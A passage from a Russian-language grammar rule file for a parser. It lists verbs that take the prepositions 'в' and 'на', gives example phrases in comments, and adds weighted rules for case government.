rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
